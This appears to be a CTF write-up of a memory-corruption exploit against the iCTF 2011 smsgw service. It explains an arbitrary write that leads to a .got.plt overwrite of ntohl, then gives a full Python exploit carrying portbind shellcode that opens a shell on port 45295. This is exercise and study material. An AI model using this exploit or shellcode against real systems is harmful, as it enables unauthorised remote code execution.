UCSB iCTF smsgw Memory Corruption Exploit

I had a great time at UCSB iCTF 2011 last weekend. Unfortunately, I did not have a chance to look at the (binary-only) service smsgw, so I did just that today.

A writeup for smsgw’s sister process mailgw is already available.
Other than in mailgw, no user controlled code (shellcode) is directly called in this service. However, arbitrary data can be written to arbitrary memory locations.

From manage_tcp_client():

device_data = &msg_info_ptr[4 * number_devices];
for ( i = 0; (signed int)i < (signed int)number_devices; ++i )
{
  current_device = &msg_info_ptr[4 * i];
  device_offset = read_int((uint32_t **)&current_device);
  ...
  *(_DWORD *)&device_data[device_offset] = *(_DWORD *)&msg_info[65536];// interesting!
  current_device = &device_data[device_offset + 4];
  current_device_name = read_string((const void **)&current_device);
  ...

Both device_offset and msg_info[] is user input.

But how can we gain control of EIP?
The answer can be found in main():

mprotect((void *)(-pagesize & (unsigned int)msg_info),
         (-pagesize & (unsigned int)&msg_info[pagesize + 65543]) - (-pagesize & (unsigned int)msg_info),
         7)

This code makes at least two pages RWX (assuming pagesize==0x1000).
Let’s see which memory areas are affected:

0804c000-0804d000 rwxp 00003000 08:01 1081943    /tmp/smsgw
0804d000-0805d000 rwxp 00000000 00:00 0

[23] .got.plt          PROGBITS        0804bff4 002ff4 0000bc 04  WA  0   0  4
[24] .data             PROGBITS        0804c0b0 0030b0 000008 00  WA  0   0  4
[25] .bss              NOBITS          0804c0c0 0030b8 010048 00  WA  0   0 32

My solution is to overwrite one pointer in .got.plt to make it point to my shellcode.
After corrupting memory, read_string will be called, which in turn calls ntohl. So this is the function pointer we want to corrupt.

.got.plt:0804C034 E4 C1 05 08             off_804C034     dd offset ntohl         ; DATA XREF: _ntohlr

This is the whole exploit (with some random padding) 🙂

import socket
import struct
import random

HOST, PORT = "192.168.78.129", 1991

def send(msg):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.send(msg)
sock.close()

def rand(count):
return ''.join(chr(random.randint(0,255)) for _ in range(count))

def main():
ntohl_ptr = 0x0804C034
msg_info_addr = 0x0804C100
msg_info_len = 65544

'''
linux x86 shellcode by eSDee of Netric (www.netric.org)
200 byte - forking portbind shellcode - port=0xb0ef(45295)
http://shell-storm.org/shellcode/files/shellcode-553.php
'''
shell = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell += "\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell += "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell += "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell += "\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell += "\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell += "\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell += "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell += "\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell += "\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell += "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell += "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell += "\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell += "\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell += "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell += "\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell += "\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell += "\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell += "\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell += "\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell += "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell += "\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell += "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell += "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell += "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"

msg = '\x00\x00\x00\x13'
msg += '\x32\x30\x31\x31\x2d\x31\x32\x2d'
msg += '\x30\x32\x20\x31\x34\x3a\x31\x31'
msg += '\x3a\x35\x31\x00\x00\x00\x06\x61'
msg += '\x62\x64\x78\x35\x68\x00\x00\x00'
msg += '\x27\x66\x6c\x67\x30\x31\x37\x32'
msg += '\x30\x30\x65\x62\x64\x30\x65\x65'
msg += '\x32\x63\x39\x30\x32\x31\x39\x66'
msg += '\x61\x63\x62\x65\x32\x32\x61\x62'
msg += '\x65\x65\x36\x64\x62\x36\x35\x63'
msg += '\x00\x00\x00\x40\x74\x61\x6b\x64'
msg += '\x61\x38\x62\x63\x76\x6e\x6f\x75'
msg += '\x71\x6c\x32\x72\x72\x61\x67\x77'
msg += '\x38\x37\x68\x70\x67\x67\x66\x7a'
msg += '\x69\x72\x34\x6b\x64\x66\x6e\x73'
msg += '\x38\x71\x70\x78\x65\x6b\x74\x36'
msg += '\x66\x30\x63\x61\x69\x38\x69\x75'
msg += '\x31\x77\x62\x39\x74\x77\x32\x33'
msg += '\x79\x76\x66\x73'
msg += '\x00\x00\x00\x01' # number of devices

msg += struct.pack('!i', ntohl_ptr - (msg_info_addr + len(msg) + 4)) # .got.plt:0804C034 off_804C034 dd offset ntohl
msg += rand(random.randint(0,500))
shell_offset = len(msg)
msg += shell
msg += rand(msg_info_len - len(msg) - (msg_info_len - 65536))
msg += struct.pack('I', msg_info_addr + shell_offset)  # *(_DWORD *)&msg_info[65536]
msg += rand(msg_info_len - len(msg))

msg_size = struct.pack('!I', msg_info_len)

print 'sending message to %s, len = %i ' % (HOST,len(msg))
send(msg_size + msg)

if __name__ == "__main__":
main()

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